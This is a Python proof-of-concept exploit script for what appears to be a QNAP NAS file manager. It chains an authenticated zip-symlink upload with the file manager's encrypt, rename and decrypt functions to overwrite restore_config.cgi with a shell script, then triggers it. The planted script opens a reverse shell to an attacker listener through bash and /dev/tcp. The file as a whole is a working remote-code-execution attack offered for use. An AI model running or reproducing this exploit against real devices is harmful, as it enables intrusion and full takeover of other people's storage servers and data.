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POC / rce.py PY
#!/usr/bin/env python3
from requests import Session
import requests
from urllib3.exceptions import InsecureRequestWarning
import base64
import os
import re
import time

DEBUG_PROXY = 'http://localhost:8080' 
ENDPOINT = 'https://192.168.178.153' # Adjust
USERNAME = 'victim'                  # Adjust
PASSWORD = 'Victim123!'              # Adjust
LISTENER_IP = '192.168.178.142'      # Adjust
# Adjust Payload if you want

PAYLOAD = '''#!/bin/sh\nbash -c "bash -i >& /dev/tcp/%s/4444 0>&1" &\n. /home/httpd/cgi-bin/json_output\noutput_http_header\noutput_header\noutput_save_restore\noutput_tail\n''' % LISTENER_IP
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

# cleanup: cd /share/homes/USERNAME && rm -f pwn.zip && rm -f pwn/* && rmdir pwn

def main() -> None:
    session = Session()
    # session.proxies.update(http=DEBUG_PROXY, https=DEBUG_PROXY)
    session.verify = False

    print('creating zip file')
    os.system("""
        rm -f link.txt pwn.zip payload.txt
        ln -s /home/httpd/cgi-bin/restore_config.cgi link.txt
        zip --symlink pwn.zip link.txt
    """)

    print('loggin in')
    response = session.post(
        f'{ENDPOINT}/cgi-bin/authLogin.cgi',
        headers={'Content-type': 'application/x-www-form-urlencoded'},
        data={'user': USERNAME, 'serviceKey': '1', 'client_app': 'Web Desktop', 'dont_verify_2sv_again': '0', 'pwd': base64.b64encode(PASSWORD.encode('ascii')).decode('ascii'), 'client_id': '2b491dc6-6542-480d-a3a2-bbe3b433b764'},
    )
    assert response.status_code == 200
    match = re.search(r'<authSid><!\[CDATA\[(.*?)\]\]></authSid>', response.text)
    assert match
    sid = match.group(1)

    print('uploading zip file')
    with open('pwn.zip', 'rb') as file:
        upload_file(session, sid, 'pwn.zip', file.read())

    print('unpacking zip file')
    response = session.post(
        f'{ENDPOINT}/cgi-bin/filemanager/utilRequest.cgi?func=extract&sid={sid}',
        headers={'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8'},
        data={'mode': 'extract_all', 'pwd': '', 'path_mode': 'full', 'extract_file': '/home/pwn.zip', 'code_page': 'UTF-8', 'overwrite': '1', 'dest_path': '/home/pwn'},
    )
    assert response.status_code == 200
    data = response.json()
    assert data['status'] == 1


    time.sleep(5)

    print('uploading payload file')
    upload_file(session, sid, 'pwn/payload.txt', str.encode(PAYLOAD))

    print('encrypting payload file')
    response = session.post(
        f'{ENDPOINT}/cgi-bin/filemanager/utilRequest.cgi?func=cipher&sid={sid}&subfunc=encrypt',
        headers={'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8'},
        data={'passwd': 'test', 'dest_path': '/home', 'source_total': '1', 'source_path': '/home', 'source_file': 'pwn/payload.txt', 'mode': '0', 'keep': '1'},
    )
    assert response.status_code == 200
    data = response.json()
    assert data['status'] == 1

    print('renaming payload file')
    response = session.post(
        f'{ENDPOINT}/cgi-bin/filemanager/utilRequest.cgi?func=rename&sid={sid}',
        headers={'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8'},
        data={'path': '/home/pwn', 'source_name': 'payload.txt.qenc', 'dest_name': 'link.txt.qenc'},
    )
    assert response.status_code == 200
    data = response.json()
    assert data['status'] in (1, 2)

    print('decrypting payload file')
    response = session.post(
        f'{ENDPOINT}/cgi-bin/filemanager/utilRequest.cgi?func=cipher&sid={sid}&subfunc=decrypt',
        headers={'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8'},
        data={'passwd': 'test', 'dest_path': '/home/pwn', 'source_total': '1', 'source_path': '/home/pwn', 'source_file': 'link.txt.qenc', 'mode': '0'},
    )
    assert response.status_code == 200
    data = response.json()
    assert data['status'] == 1

    # Execute Payload
    time.sleep(1)
    print("Request %s/cgi-bin/restore_config.cgi" % ENDPOINT) 
    print("Enjoy your shell")
    requests.get('%s/cgi-bin/restore_config.cgi' % ENDPOINT,verify=False)



def upload_file(session: Session, sid: str, filename: str, content: bytes) -> None:
    # get upload id
    response = session.post(f'{ENDPOINT}/cgi-bin/filemanager/utilRequest.cgi', headers={'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8'}, data={'upload_root_dir': '/home', 'func': 'start_chunked_upload', 'sid': sid})
    assert response.status_code == 200
    data = response.json()
    upload_id = data['upload_id']
    assert upload_id

    # upload file
    response = session.post(
        f'{ENDPOINT}/cgi-bin/filemanager/utilRequest.cgi?func=chunked_upload&sid={sid}&dest_path=%2Fhome&mode=1&dup=Copy&upload_root_dir=%2Fhome&upload_id={upload_id}&offset=0&filesize={len(content)}&upload_name={filename}&settime=1&mtime=1713395222&overwrite=1&multipart=0',
        #headers={'Content-Type': 'multipart/form-data'},
        files=(
            ('fileName', (None, filename.encode('ascii'))),
            ('file', ('blob', content, 'application/octet-stream')),
        ),
    )
    assert response.status_code == 200
    data = response.json()
    assert data['status'] == 1


if __name__ == '__main__':
    main()